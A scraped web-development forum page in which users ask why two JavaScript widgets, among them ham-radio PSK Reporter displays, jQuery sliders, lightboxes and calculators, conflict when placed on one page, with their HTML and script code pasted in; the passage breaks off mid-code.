JavaScript - 2 Nearly Indentical Scripts On One Page...
I've modified the following 2 scripts, obtained from another author, to work on one page. The problem is, with changes in browsers lately, they stopped working right. They only work in Opera, any other browser, and whichever is posted first goes winky..
This one shows stations heard by a particular station, defined in var callsign = 'ke5gae' (this is not my callsign, but he is active enough to have data for both scripts) Code: <!-- PSK I heard start --> <style type="text/css"> .psk-sent-box { margin: 0.5em; width: 600px; background-color: #FFFFFF; border: 2px solid maroon; font-family: small tahoma, "Bitstream Vera Sans", "Trebuchet MS", "Lucida Grande", lucida, helvetica, sans-serif; } .psk-sent-title { margin-top:0px; padding:0.2em; margin-left:0px; font-size: 16px; color: #000000; background-color: #c0c0c0; } .psk-sent-stats { margin-top:0px; padding:0.2em; margin-left:0px; font-size: 14px; color: #000000; background-color: #c0c0c0; } .psk-sent-item { margin-top:0px; padding:0.2em; margin-left:0px; font-size: 12px; color: #000000; } </style> <div id="psksent" class='psk-sent-box'> </div> <script type="text/javascript"> var pskrows = 20; var callsign = 'ke5gae'; var bandmap = [ { "band": "unknown", "max": 1500000 }, { "band": "160m", "max": 3000000 }, { "band": "80m", "max": 5000000 }, { "band": "60m", "max": 6000000 }, { "band": "40m", "max": 8000000 }, { "band": "30m", "max": 12000000 }, { "band": "20m", "max": 16000000 }, { "band": "17m", "max": 19000000 }, { "band": "15m", "max": 22000000 }, { "band": "12m", "max": 26000000 }, { "band": "10m", "max": 31000000 }, { "band": "6m", "max": 55000000 }, { "band": "2m", "max": 160000000 } ]; function GetBand(freq) { if (freq == null) { return "unknown"; } for (var i = 0; i < bandmap.length; i++) { if (freq < bandmap[i].max) { return bandmap[i].band; } } return "unknown"; } function GetBandOn(freq) { var band = GetBand(freq); if (band == "unknown") { band = ""; } else { band = " on " + band; } return band; } function createDiv(cl) { var d; try { d = document.createElement('<div class="' + cl + '">'); } catch (e) { d = document.createElement('div'); d.setAttribute('class', cl); } return d; } function pskCreateRow(rr) { var dt = new Date(); dt.setTime(1000 * rr.flowStartSeconds); var item = document.createTextNode(dt.toLocaleTimeString() + ": Received a " + rr.mode +" signal " + GetBandOn(rr.frequency) + " from " + rr.senderCallsign + " in " + rr.senderDXCC); var d = createDiv('psk-sent-item'); d.appendChild(item); return d; } function Displaysent(d) { // This does the hard work of formatting the data and filling out the pskbadge div var div = document.getElementById('psksent'); var title = createDiv('psk-sent-title'); title.appendChild(document.createTextNode("Last 20 PSK signals heard at " + callsign)); div.appendChild(title); var bi = createDiv('psk-sent-items'); div.appendChild(bi); if (d) { var rr = d.receptionReport; if (rr) { for (var rownum = 0; rownum < pskrows && rownum < rr.length; rownum++) { bi.appendChild(pskCreateRow(rr[rownum])); } } else { bi.appendChild(document.createTextNode("No recent reports")); } var stats = createDiv('psk-sent-stats'); stats.appendChild(document.createTextNode("Last 24 hours: " + d.rawReports[0].last24hours + " reports, " + d.countriesSeen[0].last24hours + " countries.")); div.appendChild(stats); } else { bi.appendChild(document.createTextNode("Service unavailable")); } } var script = document.createElement('script'); script.src = "http://pskreporter.info/cgi-bin/pskquery1.pl?callback=Displaysent&statistics=1&noactive=1&nolocator=1&flowStartSeconds=-43200&rptlimit=30&receiverCallsign=" + callsign; document.getElementsByTagName('head')[0].appendChild(script); </script> <!-- End PSK --> This one shows who has heard the station defined in var callsign2 = 'ke5gae' Code: <!-- PSK 2 start --> <style type="text/css"> .psk-heard-box { margin: 0.5em; width: 600px; background-color: #FFFFFF; border: 2px solid maroon; font-family: small tahoma, "Bitstream Vera Sans", "Trebuchet MS", "Lucida Grande", lucida, helvetica, sans-serif; } .psk-heard-title { margin-top:0px; padding:0.2em; margin-left:0px; font-size: 16px; color: #000000; background-color: #c0c0c0; } .psk-heard-stats { margin-top:0px; padding:0.2em; margin-left:0px; font-size: 14px; color: #000000; background-color: #c0c0c0; } .psk-heard-item { margin-top:0px; padding:0.2em; margin-left:0px; font-size: 12px; color: #000000; } </style> <div id="pskheard" class='psk-heard-box'> </div> <script type="text/javascript"> var pskrows = 20; var callsign2 = 'ke5gae'; var bandmap = [ { "band": "unknown", "max": 1500000 }, { "band": "160m", "max": 3000000 }, { "band": "80m", "max": 5000000 }, { "band": "60m", "max": 6000000 }, { "band": "40m", "max": 8000000 }, { "band": "30m", "max": 12000000 }, { "band": "20m", "max": 16000000 }, { "band": "17m", "max": 19000000 }, { "band": "15m", "max": 22000000 }, { "band": "12m", "max": 26000000 }, { "band": "10m", "max": 31000000 }, { "band": "6m", "max": 55000000 }, { "band": "2m", "max": 160000000 } ]; function GetBand(freq) { if (freq == null) { return "unknown"; } for (var i = 0; i < bandmap.length; i++) { if (freq < bandmap[i].max) { return bandmap[i].band; } } return "unknown"; } function GetBandOn(freq) { var band = GetBand(freq); if (band == "unknown") { band = ""; } else { band = " on " + band; } return band; } function createDiv(cl) { var d; try { d = document.createElement('<div class="' + cl + '">'); } catch (e) { d = document.createElement('div'); d.setAttribute('class', cl); } return d; } function pskCreateRow(rr) { var dt = new Date(); dt.setTime(1000 * rr.flowStartSeconds); var item = document.createTextNode(dt.toLocaleTimeString() + ": Tx " + rr.mode + GetBandOn(rr.frequency) + " heard by " + rr.receiverCallsign + " in " + rr.receiverDXCC); var d = createDiv('psk-heard-item'); d.appendChild(item); return d; } function DisplayHeard(d) { // This does the hard work of formatting the data and filling out the pskheard div var div = document.getElementById('pskheard'); var title = createDiv('psk-heard-title'); title.appendChild(document.createTextNode("Last 20 places that heard " + callsign2)); div.appendChild(title); var bi = createDiv('psk-heard-items'); div.appendChild(bi); if (d) { var rr = d.receptionReport; if (rr) { for (var rownum = 0; rownum < pskrows && rownum < rr.length; rownum++) { bi.appendChild(pskCreateRow(rr[rownum])); } } else { bi.appendChild(document.createTextNode("No recent reports")); } } } var script = document.createElement('script'); script.src = "http://pskreporter.info/cgi-bin/pskquery1.pl?callback=DisplayHeard&statistics=0&noactive=1&nolocator=1&flowStartSeconds=-43200&rptlimit=30&senderCallsign=" + callsign2; document.getElementsByTagName('head')[0].appendChild(script); </script> <!-- End PSK 2 --> Any help will be greatly appreciated. Similar TutorialsIv got a scrolling menu on my page using... Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js"></script> <script type="text/javascript" src="scripts.js"></script> and i want to add a lightbox... Code: <script type="text/javascript" src="js/prototype.js"></script> <script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script> <script type="text/javascript" src="js/lightbox.js"></script> however whichever one is at the bottom is the only one that works? Can anyone please explain why this is? I gues they conflict? I read about window.onload but neither has that i also tried. Code: onLoad="initLightbox();" in my body tag. Any help greatly apreciated, im hoping theres an easy fix! :-) Hi everyone, I searched and found some answers to this question, however, after trying the solutions, none worked for me. I am hoping someone can help me figure out where i'm going wrong with this. I am trying to use the jQuery Nivo Slider and the jQuery Ad Gallery on the same page. When both scripts are active, only one works. When i comment out one of them, the other works. This happens either way i do it. I tried using the jQuery.noConflict(); but it did not work...unless i did something wrong. Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript" src="/includes/jquery.nivo.slider.pack.js"></script> <script type="text/javascript" src="/includes/jquery.ad-gallery.js"></script> <script type="text/javascript"> $(function() { $('img.image1').data('ad-desc', 'Whoa! This description is set through elm.data("ad-desc") instead of using the longdesc attribute.<br>And it contains <strong>H</strong>ow <strong>T</strong>o <strong>M</strong>eet <strong>L</strong>adies... <em>What?</em> That aint what HTML stands for? Man...'); $('img.image1').data('ad-title', 'Title through $.data'); $('img.image4').data('ad-desc', 'This image is wider than the wrapper, so it has been scaled down'); $('img.image5').data('ad-desc', 'This image is higher than the wrapper, so it has been scaled down'); var galleries = $('.ad-gallery').adGallery(); $('#switch-effect').change( function() { galleries[0].settings.effect = $(this).val(); return false; } ); $('#toggle-slideshow').click( function() { galleries[0].slideshow.toggle(); return false; } ); $('#toggle-description').click( function() { if(!galleries[0].settings.description_wrapper) { galleries[0].settings.description_wrapper = $('#descriptions'); } else { galleries[0].settings.description_wrapper = false; } return false; } ); }); jQuery.noConflict(); jQuery(window).load(function() { jQuery('#slider').nivoSlider({ effect:'fade', // Specify sets like: 'fold,fade,sliceDown' animSpeed:5, // Slide transition speed pauseTime:7000, // How long each slide will show startSlide:0, // Set starting Slide (0 index) directionNav:false, // Next & Prev navigation directionNavHide:true, // Only show on hover controlNav:true, // 1,2,3... navigation controlNavThumbs:false, // Use thumbnails for Control Nav controlNavThumbsFromRel:false, // Use image rel for thumbs controlNavThumbsSearch: '.png', // Replace this with... controlNavThumbsReplace: '_thumb.jpg', // ...this in thumb Image src keyboardNav:true, // Use left & right arrows pauseOnHover:true, // Stop animation while hovering manualAdvance:false, // Force manual transitions captionOpacity:0.8, // Universal caption opacity prevText: 'Prev', // Prev directionNav text nextText: 'Next', // Next directionNav text beforeChange: function(){}, // Triggers before a slide transition afterChange: function(){}, // Triggers after a slide transition slideshowEnd: function(){}, // Triggers after all slides have been shown lastSlide: function(){}, // Triggers when last slide is shown afterLoad: function(){} // Triggers when slider has loaded }); }); </script> Does anyone have any ideas? I appreciate the help in advance! Tsiqueira Hi guys, I'm working on a site where I need to use javascript for two things on the same page: a slideshow and an inquiry form (more specifically, a popup calendar on the inquiry form). The problem is, I can't get them to work simultaneously. Whichever script is at the bottom of the head section is the one that works. So right now, the calendars are working just fine and the slideshow is not. If I move the slideshow script to the bottom of the head, it works perfectly but the calendars refuse to pop up. This is the test site if you need to see exactly what I'm referring to (username: testsite, password: enter) It seems that whichever script is placed on the bottom of the head section is overriding the other. Both scripts are from independent sources, so I have no idea what needs to be done here. Any help would be greatly appreciated! From my current head section, this is the bit that's required for the slideshow: Code: <link rel="stylesheet" type="text/css" href="images/slideshow/css/slideshow.css" media="screen" /> <style type="text/css">.slideshow a#vlb{display:none}</style> <script type="text/javascript" src="images/slideshow/js/mootools.js"></script> <script type="text/javascript" src="images/slideshow/js/visualslideshow.js"></script> And this is the part that's required for the calendars: Code: <script type="text/javascript"> function go() { location=document.forms[0].gowhere.value; } </script> <script type="text/javascript"> var a = new Image(); a.src = 'menu1.jpg'; var b = new Image(); b.src = 'menuhover1.jpg'; var c = new Image(); c.src = 'menu2.jpg'; var d = new Image(); d.src = 'menuhover2.jpg'; var e = new Image(); e.src = 'menu3.jpg'; var f = new Image(); f.src = 'menuhover3.jpg'; var g = new Image(); g.src = 'menu4.jpg'; var h = new Image(); h.src = 'menuhover4.jpg'; </script> <script language="JavaScript" type="text/javascript"> <!-- function checkform ( form ) { if (form.salutation.value == "") { alert( "Please enter your salutation." ); form.salutation.focus(); return false ; } if (form.first_name.value == "") { alert( "Please enter your first name." ); form.first_name.focus(); return false ; } if (form.last_name.value == "") { alert( "Please enter your last name." ); form.last_name.focus(); return false ; } if (form.email.value == "") { alert( "Please enter your email address." ); form.email.focus(); return false ; } if (form.country.value == "") { alert( "Please enter your country of residence." ); form.country.focus(); return false ; } if (form.indate.value == "") { alert( "Please enter your check-in date." ); form.email.focus(); return false ; } if (form.outdate.value == "") { alert( "Please enter your check-out date." ); form.email.focus(); return false ; } if (form.elements['00NA000000269Gz'].value == "") { alert( "Please enter the no. of bedrooms requested." ); form.elements['00NA000000269Gz'].focus(); return false ; } if (form.elements['00NA000000269H4'].value == "") { alert( "Please enter the no. of adults." ); form.elements['00NA000000269H4'].focus(); return false ; } if (form.elements['00NA000000269H9'].value == "") { alert( "Please enter the no. of children." ); form.elements['00NA000000269H9'].focus(); return false ; } return true ; } //--> </script> <style type="text/css"> @import "css/jquery.datepick.css"; /* Or use these for a ThemeRoller theme instead @import "themes16/southstreet/ui.all.css"; @import "css/ui-southstreet.datepick.css"; */ </style> <script type="text/javascript" src="js/jquery.min.js"></script> <script type="text/javascript" src="js/jquery.datepick.js"></script> <script type="text/javascript"> $(function() { // $.datepick.setDefaults({useThemeRoller: true}); $('#indate').datepick({dateFormat: 'd-M-yy', onSelect: showDate, minDate: new Date()}); $('#outdate').datepick({dateFormat: 'd-M-yy', onSelect: showDate, minDate: new Date()}); }); function showDate(dateStr, date) { if (this.id == 'indate') { $('#outdate').datepick('option', 'minDate', date); var dateString = date; var myDate = new Date(dateString); $('#00NA000000268NL').val((myDate.getMonth()+1) + "/" + myDate.getDate() + "/" + myDate.getFullYear()) } else { $('#indate').datepick('option', 'maxDate', date); var dateString = date; var myDate = new Date(dateString); $('#00NA000000268NQ').val((myDate.getMonth()+1) + "/" + myDate.getDate() + "/" + myDate.getFullYear()) } } //function showDate(date) { // $('#00NA000000268NQ').datepick.minDate = new Date(date); // $('#00NA000000268NL').val(date) //} function showDate2(date) { // $('#00NA000000268NQ').val(date) } </script> Any ideas? Do you need me to post links to or codes from the js files or stylesheets? Anything more that I can provide to get this resolved, just let me know. Thanks in advance! I know this has probably been asked many times, but as a total newb I am struggling to find the answer. This page : www.imovecornwall.org/index.htm has two scripts on it, a peicemaker lightbox animation (which works perfectly fine) and a Fancybox script that launches modal windows onclick. The problem is when you launch the fancybox script the screen displays both the Fancybox script and the Peicemaker script. the code is Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script> <script type="text/javascript" src="fancybox_multiple/fancybox/fancybox/jquery.mousewheel-3.0.4.pack.js"></script> <script type="text/javascript" src="fancybox_multiple/fancybox/fancybox/jquery.fancybox-1.3.4.pack.js"></script> <link rel="stylesheet" type="text/css" href="fancybox_multiple/fancybox/fancybox/jquery.fancybox-1.3.4.css" /> <link rel="stylesheet" href="fancybox_multiple/fancybox/style.css" /> <script type="text/javascript"> $(document).ready(function() { $("a.pop").fancybox({ 'overlayColor' : '#000', 'overlayOpacity' : 0.8 }); $("a.pop2").fancybox({ 'overlayShow' : false, 'transitionIn' : 'elastic', 'transitionOut' : 'elastic' }); }); </script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-10061181-2']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); function FP_changePropRestore() {//v1.0 var d=document,x; if(d.$cpe) { for(i=0; i<d.$cpe.length; i++) { x=d.$cpe[i]; if(x.v=="") x.v=""; eval("x."+x.n+"=x.v"); } d.$cpe=null; } } function FP_changeProp() {//v1.0 var args=arguments,d=document,i,j,id=args[0],o=FP_getObjectByID(id),s,ao,v,x; d.$cpe=new Array(); if(o) for(i=2; i<args.length; i+=2) { v=args[i+1]; s="o"; ao=args[i].split("."); for(j=0; j<ao.length; j++) { s+="."+ao[j]; if(null==eval(s)) { s=null; break; } } x=new Object; x.o=o; x.n=new Array(); x.v=new Array(); x.n[x.n.length]=s; eval("x.v[x.v.length]="+s); d.$cpe[d.$cpe.length]=x; if(s) eval(s+"=v"); } } function FP_getObjectByID(id,o) {//v1.0 var c,el,els,f,m,n; if(!o)o=document; if(o.getElementById) el=o.getElementById(id); else if(o.layers) c=o.layers; else if(o.all) el=o.all[id]; if(el) return el; if(o.id==id || o.name==id) return o; if(o.childNodes) c=o.childNodes; if(c) for(n=0; n<c.length; n++) { el=FP_getObjectByID(id,c[n]); if(el) return el; } f=o.forms; if(f) for(n=0; n<f.length; n++) { els=f[n].elements; for(m=0; m<els.length; m++){ el=FP_getObjectByID(id,els[n]); if(el) return el; } } return null; } function FP_swapImgRestore() {//v1.0 var doc=document,i; if(doc.$imgSwaps) { for(i=0;i<doc.$imgSwaps.length;i++) { var elm=doc.$imgSwaps[i]; if(elm) { elm.src=elm.$src; elm.$src=null; } } doc.$imgSwaps=null; } } function FP_swapImg() {//v1.0 var doc=document,args=arguments,elm,n; doc.$imgSwaps=new Array(); for(n=2; n<args.length; n+=2) { elm=FP_getObjectByID(args[n]); if(elm) { doc.$imgSwaps[doc.$imgSwaps.length]=elm; elm.$src=elm.src; elm.src=args[n+1]; } } } function FP_preloadImgs() {//v1.0 var d=document,a=arguments; if(!d.FP_imgs) d.FP_imgs=new Array(); for(var i=0; i<a.length; i++) { d.FP_imgs[i]=new Image; d.FP_imgs[i].src=a[i]; } } </script> </head> <body background="images/bg.gif" onload="FP_preloadImgs(/*url*/'images/redbadge.png')"> <div style="position: absolute; width: 1001px; height: 606px; z-index: 2; left: 92px; top: 190px" id="layer2"> <div style="position: absolute; width: 566px; height: 44px; z-index: 1; left: 414px; top: 676px" id="layer9" align="right"> <font face="Trebuchet MS" size="1">Copyright 2011 . imove cornwall . not for profit estate agents in cornwall . a community lead social enterprise</font><p><font face="Trebuchet MS" size="1"> imove estate agents cornwall, cornwall estate agents, imove cornwall, imove, i move, not for profit estate agents, estate agents in cornwall, houses for sale in cornwall, sell privately, private house sales cornwall, i move cornwall, i move estate agents</font></div> <img border="0" src="images/c-head.png" width="980" height="40"><div style="position: absolute; width: 420px; height: 415px; z-index: 2; left: 0px; top: 40px; border-left: 1px solid #DEDBD2; border-right: 1px solid #DEDBD2" id="layer10" align="left"> <div style="position: absolute; width: 1001px; height: 100px; z-index: 1; left: -2px; top: 495px" id="layer11"> <a title="click here for information about imove estate agents" href="about/index.htm"> <img border="0" src="images/_front-small_2.png" width="327" height="135" alt="imove estate agents cornwall"></a><a href="search.htm"><img border="0" src="images/_front-small2_blank3.png" width="324" height="135"></a><a href="sell.htm"><img border="0" src="images/_front-smallr_blank.png" width="330" height="135"></a></div> <p align="center"> <object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="978" height="495"> <param name="movie" value="piecemaker.swf"> <param name="quality" value="High"> <embed src="piecemaker.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="978" height="495"></object> </div> <address> <a href="sell.htm"> <img border="0" src="resized_png_images/head_new_template.png" width="980" height="416"></a></address> <address> </address> <address> </address> </div> <div style="position: absolute; width: 191px; height: 227px; z-index: 1; left: 93px; top: 11px" id="layer1"> <p align="center"> </p> <address align="left"> <img border="0" src="images/logo_2_72dpi_small.png" width="177" height="176"></address> <address align="center"> </address> <p align="left"> </p> <p align="center"> </div> <div style="position: absolute; width: 116px; height: 121px; z-index: 4; left: 1020px; top: 34px" id="layer36"> <a title="Click here to sell with imove" href="sell.htm"> <img border="0" src="images/bluebadge.png" width="133" height="133" id="img1" onmouseout="FP_swapImgRestore()" onmouseover="FP_swapImg(1,1,/*id*/'img1',/*url*/'images/redbadge.png')"></a></div> <p align="center"> </p> <div style="position: absolute; width: 171px; height: 58px; z-index: 3; left: 327px; top: 61px" id="layer33"> <a class="pop" href="resized_png_images/modal1.png" rel="group1"> <img alt="" src="resized_png_images/tick2.png" border="0" align="left" /></a><address> <span style="font-style: normal"><font face="Myriad Pro" size="1"> </font></span></address> <address> <span style="font-style: normal"><font face="Myriad Pro">Not for profit</font></span></address> </div> <div style="position: absolute; width: 225px; height: 58px; z-index: 3; left: 522px; top: 61px" id="layer34"> <address> <span style="font-style: normal"> <a class="pop" href="resized_png_images/modal2.png" rel="group1"> <img alt="" src="resized_png_images/tick2.png" border="0" align="left" /></a></span></address> <address> <font size="1"><span style="font-style: normal"> </span></font></address> <address> <span style="font-style: normal"><font face="Myriad Pro">Cost effective</font></span></address> </div> <div style="position: absolute; width: 282px; height: 58px; z-index: 3; left: 721px; top: 61px" id="layer35"> <address> <span style="font-style: normal"> <a class="pop" href="resized_png_images/modal3.png" rel="group1"> <img alt="" src="resized_png_images/tick2.png" border="0" align="left" /></a></span></address> <address> <font size="1"><span style="font-style: normal"> </span></font></address> <address> <span style="font-style: normal"><font face="Myriad Pro">Supporting local good causes</font></span></address> </div> <p align="center"> </p> <p align="center"> </p> <div style="position: absolute; width: 657px; height: 50px; z-index: 3; left: 262px; top: 194px" id="layer13"> <div style="position: absolute; width: 130px; height: 44px; z-index: 1; left: 679px; top: 1px" id="layer14"> <a title="Join us on Facebook" href="http://www.facebook.com/pages/Truro-United-Kingdom/Imove-cornwall/121184304626633"> <img border="0" src="images/FaceBook-icon.png" width="33" height="33"></a> <img border="0" src="images/Twitter-icon.png" width="33" height="33"> <img border="0" src="images/Feed-icon.png" width="33" height="33"></div> <p><font face="Myriad Pro"> <a title="Back to the Homepage" href="index.htm" style="text-decoration: none"> <font color="#000000" id="id1" onmouseout="FP_changePropRestore()" onmouseover="FP_changeProp(/*id*/'id1',1,'style.fontFamily','Myriad Pro','style.fontSize','12pt','style.textDecoration','underline','style.color','#000000')"> home</font></a> <a title="About imove" style="text-decoration: none" href="about/index.htm"> <font color="#000000" id="id2" onmouseout="FP_changePropRestore()" onmouseover="FP_changeProp(/*id*/'id2',1,'style.textDecoration','underline','style.color','#000000','style.fontFamily','Myriad Pro','style.fontSize','12pt')"> about</font></a> <a title="Property for sale with imove" href="search.htm" style="text-decoration: none"> <font color="#000000" id="id3" onmouseout="FP_changePropRestore()" onmouseover="FP_changeProp(/*id*/'id3',1,'style.textDecoration','underline','style.color','#000000','style.fontSize','12pt','style.fontFamily','Myriad Pro')"> property search</font></a> <a title="Sell your property with imove" href="sell.htm" style="text-decoration: none"> <font color="#000000" id="id4" onmouseout="FP_changePropRestore()" onmouseover="FP_changeProp(/*id*/'id4',1,'style.fontFamily','Myriad Pro','style.fontSize','12pt','style.textDecoration','underline','style.color','#000000')"> sell your property</font></a> <a title="Support for existing customers of imove" href="support.htm" style="text-decoration: none"> <font color="#000000" id="id5" onmouseout="FP_changePropRestore()" onmouseover="FP_changeProp(/*id*/'id5',1,'style.fontFamily','Myriad Pro','style.fontSize','12pt','style.textDecoration','underline','style.color','#000000')"> support</font></a> <a title="Contact imove cornwall" href="contact.htm" style="text-decoration: none"> <font color="#000000" id="id6" onmouseout="FP_changePropRestore()" onmouseover="FP_changeProp(/*id*/'id6',1,'style.fontFamily','Myriad Pro','style.fontSize','12pt','style.textDecoration','underline','style.color','#000000')"> contact us</font></a></font></div> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> </body> </html> I know it's probably something really simple but I'm totally lost. Any help would be very much appreciated. Hi all, I am a complete novice to pretty much everything internet but have managed to put together a site that I am trying to get off of the ground. Here is the problem that I am having. The first script below is for a script that shows up in my sidebar and is available on every page of my site. The second script is one that I intend to use on only one specific page. Both of the scripts function properly on their own but not when I try to use them as intended. As mentioned in the FAQ, I tried to name all of the variables with unique names but that still does not work. Any suggestions would be greatly appreciated!! This code is in my sidebar on every page: Code: <script type="text/javascript"> <!-- function calculate() { var doc = document.pointCalc; var points = 0; var fiber = doc.fiber.value; var fat = doc.fat.value; var calories = doc.calories.value; points = (calories / 50) + (fat / 12) - (fiber / 5); doc.result.value = Math.round(points); } // --> </script> <center> <br/> <br/> <div class="storyTitle"><b>Approximate Points Calculator</b></div> <div class="storyContent"> <form name="pointCalc"> <table><tr> <tr><td>Calories:</td><td><input name="calories" type="text"/></td></tr> <tr><td>Fat:</td><td><input name="fat" type="text"/></td></tr> <tr> <td>Fiber:</td> <td> <select name="fiber"> <option value="0"/>0 <option value="1"/>1 <option value="2"/>2 <option value="3"/>3 <option value="4"/>4 or more </select> </td> </tr> <tr><td colspan="2"><input value="Calculate" onclick="calculate();" type="button"/></td></tr> <tr><td>POINTS:</td><td><input name="result" type="text"/></td></tr> </tr></table> </form> </div></center> This code I'm trying to use on just one page of the site: Code: <center><script type="text/javascript"> <!-- function getpoints() { var doc1 = document.pointquiz; var dpoints = 0; var sex = doc1.sex.value; var age = doc1.age.value; var weight = doc1.weight.value; var height = doc1.height.value; var activity = doc1.activity.value; var nursing = doc1.nursing.value; dpoints = (sex * 1) + (age * 1) + (weight * 1) + (height * 1) + (activity * 1) + (nursing * 1); doc1.dresult.value = Math.round(dpoints); } // --> </script> <br /> <br /> <div class="storyTitle"><b>Daily Point Allowance Quiz</b></div> <div class="storyContent"> <form name="pointquiz"> <table><tr> <tr> <td>Sex:</td> <td> <select name="sex"> <option value="2" />Female <option value="8" />Male </select> </td> </tr> <tr> <td>Age:</td> <td> <select name="age"> <option value="4" />17-26 <option value="3" />27-37 <option value="2" />38-47 <option value="1" />48-58 <option value="0" />58+ </select> </td> </tr> <tr> <td>Weight:</td> <td> <select name="weight"> <option value="10" />100-109 <option value="11" />110-119 <option value="12" />120-129 <option value="13" />130-139 <option value="14" />140-149 <option value="15" />150-159 <option value="16" />160-169 <option value="17" />170-179 <option value="18" />180-189 <option value="19" />190-199 <option value="20" />200-209 <option value="21" />210-219 <option value="22" />220-229 <option value="23" />230-239 <option value="24" />240-249 <option value="25" />250-259 <option value="26" />260-269 <option value="27" />270-279 <option value="28" />280-289 <option value="29" />290-299 <option value="30" />300-309 <option value="31" />310-319 <option value="32" />320-329 <option value="33" />330-339 <option value="34" />340-349 <option value="35" />350-359 </select> </td> </tr> <tr> <td>Height:</td> <td> <select name="height"> <option value="0" />Under 5'1" <option value="1" />5'1" to 5'10" <option value="2" />5'10" and over </select> </td> </tr> <tr> <td>Activity:</td> <td> <select name="activity"> <option value="0" />Mostly Sitting <option value="1" />Mostly Standing <option value="4" />Mostly Walking <option value="6" />Mostly Physical Labor </select> </td> </tr> <tr> <td>Nursing Mom:</td> <td> <select name="nursing"> <option value="0" />No <option value="10" />Yes, Solely <option value="5" />Yes, Supplementing </select> </td> </tr> <tr><td colspan="2"><input value="Calculate" onclick="getpoints();" type="button" /></td></tr> <tr><td>POINT ALLOWANCE:</td><td><input name="dresult" type="text" /></td></tr> </tr></table> </form> </div> <p align="center">Note: Minimum Daily Points is 18, Max is 44</p></center> I've seen a few people elsewhere with a similar problem, but couldn't get the solutions to work for my individual problems. I am currently trying to display a gallery of images using Lightbox, and a contact form in a different modal window using a different script. Here is the URL, so you can view the source. Clicking 'contact' opens the Contact window, which currently works, and clicking the images SHOULD open lightbox but doesn't. If I shuffle the code around, I can get Lightbox to work but the contact window then breaks. If someone could provide just the code I should replace mine with so I can just copy and paste it in, that would be great because I don't know anything about javascript and struggled to follow the instructions for this I found elsewhere. However any help is appreciated! Thanks in advance. (: (Just in case you notice - please excuse my use of tables in the coding, this is just temporary) Hi, First, let me preface by saying that I know very little about JavaScript. I have found and modified a nice image gallery script to my liking, but now I'm trying to put this script multiple times on the same page. I read the Frequently Ask Questions section (http://www.codingforums.com/showthre...913#post178913) and have learned that my two options are to rename all of the variable and function names so they're unique. I've tried this, and I don't think I've completely renamed them all in the correct locations. I also see that you can make them Object Oriented. I've read the several threads on this, and I think it's a bit over my head. I was hoping someone would be able to review my code below and provide some suggestions/insight as to what I need to change. Your help is greatly appreciated. Thanks, Ben. Code: <<html> <head> <style media="screen,projection" type="text/css"> /* begin gallery styling */ #jgal { list-style: none; width: 400px; position: relative; top: -14px; left: 40px; } #jgal li { opacity: .5; float: left; display: block; width: 80px; height: 60px; background-position: 50% 50%; cursor: pointer; border: 3px solid #fff; outline: 1px solid #ddd; margin-right: 14px; margin-bottom: 14px; } #jgal li img { width: 80px; height: 60px; } #jgal li.active img { display: block; float: left; } #jgal li.active, #jgal li:hover { outline-color: #bbb; opacity: .99 /* safari bug */ } /* styling without javascript */ #gallery { list-style: none; display: block; } #gallery li { float: left; margin: 0 10px 10px 0; } </style> <!--[if lt IE 8]> <style media="screen,projection" type="text/css"> #jgal li { filter: alpha(opacity=50); } #jgal li.active, #jgal li:hover { filter: alpha(opacity=100); } </style> <![endif]--> <script type="text/javascript"> document.write("<style type='text/css'> #gallery { display: none; } </style>");</script> <!--[if lt IE 6]><style media="screen,projection" type="text/css">#gallery { display: block; }</style><![endif]--> <script type="text/javascript"> var gal = { init: function () { if (!document.getElementById || !document.createElement || !document.appendChild) return false; if (document.getElementById('gallery')) document.getElementById('gallery').id = 'jgal'; var li = document.getElementById('jgal').getElementsByTagName('li'); enlargedImg = document.createElement('img'); document.getElementById('jgal').parentNode.insertBefore(enlargedImg, document.getElementById('jgal').nextSibling); enlargedImg.src = li[0].getElementsByTagName('img')[0].src; li[0].className = 'active'; for (i = 0; i < li.length; i++) { var val = li[0].getElementsByTagName('img')[0].alt; li[i].style.backgroundRepeat = 'no-repeat'; li[i].title = li[i].getElementsByTagName('img')[0].alt; gal.addEvent(li[i], 'mouseover', function () { var im = document.getElementById('jgal').getElementsByTagName('li'); for (j = 0; j < im.length; j++) { im[j].className = ''; } this.className = 'active'; enlargedImg.src = this.getElementsByTagName('img')[0].src; }); } }, addEvent: function (obj, type, fn) { if (obj.addEventListener) { obj.addEventListener(type, fn, false); } else if (obj.attachEvent) { obj["e" + type + fn] = fn; obj[type + fn] = function () { obj["e" + type + fn](window.event); } obj.attachEvent("on" + type, obj[type + fn]); } } } gal.addEvent(window, 'load', function () { gal.init(); }); </script> </head> <body> <ul id="gallery"> <li><a href="/bmfsweb/esg/image/Vactor HTML/2100_PLUS_PD.htm" rel="nofollow" target="_blank"><img src="/bmfsweb/esg/image/Vactor Images2/Guzzler_classic_400.JPG" onmouseover="showTitle('Guzzler Classic');"></a></li> <li><img src="/bmfsweb/esg/image/Vactor Images2/Guzzer_ace_400.JPG" onmouseover="showTitle('Guzzler Ace');"></li> <li><img src="/bmfsweb/esg/image/Vactor Images2/Guzzler_nx_400.JPG" onmouseover="showTitle('Guzzler NX');"></li> <li><img src="/bmfsweb/esg/image/Vactor 